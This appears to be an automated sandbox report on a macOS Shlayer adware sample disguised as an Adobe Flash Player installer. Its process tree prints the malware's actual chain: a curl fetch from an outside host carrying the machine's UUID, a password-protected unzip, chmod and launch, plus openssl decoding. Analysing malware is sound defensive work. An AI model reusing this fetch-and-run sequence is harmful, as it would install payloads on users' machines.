Overview

overview

10

Static

static

Shlayer.dmg

macos_amd64

10

Analysis

  • max time network
    157s
  • platform
    macos_amd64
  • resource
    macos
  • submitted
    24/06/2021, 12:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Shlayer.dmg
  • Size 244KB
  • Sample210624-ffb6633lvs
  • SHA256 852ff1b97c1155fc28b14f5633a17de02dcace17bdc5aadf42e2f60226479eaf
  • MD5 SHA1 SHA512
Score
10/10
shlayeradware

Malware Config

Signatures

Processes

  • /bin/sh
    sh -c "sudo open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app"
    1⤵
      PID:509
    • /bin/bash
      sh -c "sudo open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app"
      1⤵
        PID:509
      • /usr/bin/sudo
        sudo open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app
        1⤵
          PID:509
          • /usr/bin/open
            open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app
            2⤵
              PID:510
          • /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS/LYwjtu0sc3XqkNVbQe_gM4YiRpmgUpRIew
            /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS/LYwjtu0sc3XqkNVbQe_gM4YiRpmgUpRIew
            1⤵
              PID:512
              • /usr/bin/dirname
                dirname /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS/LYwjtu0sc3XqkNVbQe_gM4YiRpmgUpRIew
                2⤵
                  PID:513
                • /usr/bin/dirname
                  dirname /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS
                  2⤵
                    PID:514
                  • /usr/bin/curl
                    curl -f0L "http://api.macfantsy.com/sd/?c=q2BybQ==&u=C589348B-0863-5695-96A0-3DAE1B1C0B90&s=178FAAD3-6EEC-4A49-80E4-5AE9FA757182&o=10.15.1&b=2833846567"
                    2⤵
                      PID:1413
                    • /usr/bin/unzip
                      unzip -P 76564833825112833846567 /tmp/5bR1sgnKw -d /tmp/j9tx5Bwa/
                      2⤵
                        PID:1416
                      • /bin/rm
                        rm -f /tmp/5bR1sgnKw
                        2⤵
                          PID:1417
                        • /bin/chmod
                          chmod +x "/tmp/j9tx5Bwa//Contents/MacOS/*"
                          2⤵
                            PID:1425
                          • /usr/bin/open
                            open -a /tmp/j9tx5Bwa/ --args s 178FAAD3-6EEC-4A49-80E4-5AE9FA757182 /Volumes/AdobeFlashPlayer
                            2⤵
                              PID:1426
                          • /usr/bin/openssl
                            openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:2833846567
                            1⤵
                              PID:517
                            • /usr/bin/base64
                              base64 --decode /dev/fd/63
                              1⤵
                                PID:521
                              • /usr/bin/xxd
                                xxd -pu /dev/fd/63
                                1⤵
                                  PID:524
                                • /usr/bin/xxd
                                  xxd -r -p /dev/fd/63
                                  1⤵
                                    PID:527
                                  • /usr/bin/sw_vers
                                    sw_vers -productVersion
                                    1⤵
                                      PID:1401
                                    • /usr/bin/uuidgen
                                      uuidgen
                                      1⤵
                                        PID:1403
                                      • /usr/bin/tr
                                        tr -dc "[[:print:]]"
                                        1⤵
                                          PID:1406
                                        • /usr/sbin/ioreg
                                          ioreg -rd1 -c IOPlatformExpertDevice
                                          1⤵
                                            PID:1408
                                          • /usr/bin/grep
                                            grep -o "\"IOPlatformUUID\" = \"\\(.*\\)\""
                                            1⤵
                                              PID:1409
                                            • /usr/bin/sed
                                              sed -E -n "s@.*\"([^\"]+)\"@\\1@p"
                                              1⤵
                                                PID:1410
                                              • /usr/bin/mktemp
                                                mktemp /tmp/XXXXXXXXX
                                                1⤵
                                                  PID:1412
                                                • /usr/bin/mktemp
                                                  mktemp -d /tmp/XXXXXXXX
                                                  1⤵
                                                    PID:1415
                                                  • /usr/bin/grep
                                                    grep -m1 -v "*.app" /dev/fd/63
                                                    1⤵
                                                      PID:1420
                                                    • /bin/ls
                                                      ls -1 /tmp/j9tx5Bwa/
                                                      1⤵
                                                        PID:1421
                                                      • /usr/bin/sed
                                                        sed -E -n "s@^(/Volumes/[^/]+)/.*@\\1@p"
                                                        1⤵
                                                          PID:1424

                                                        Network

                                                              MITRE ATT&CK Matrix

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads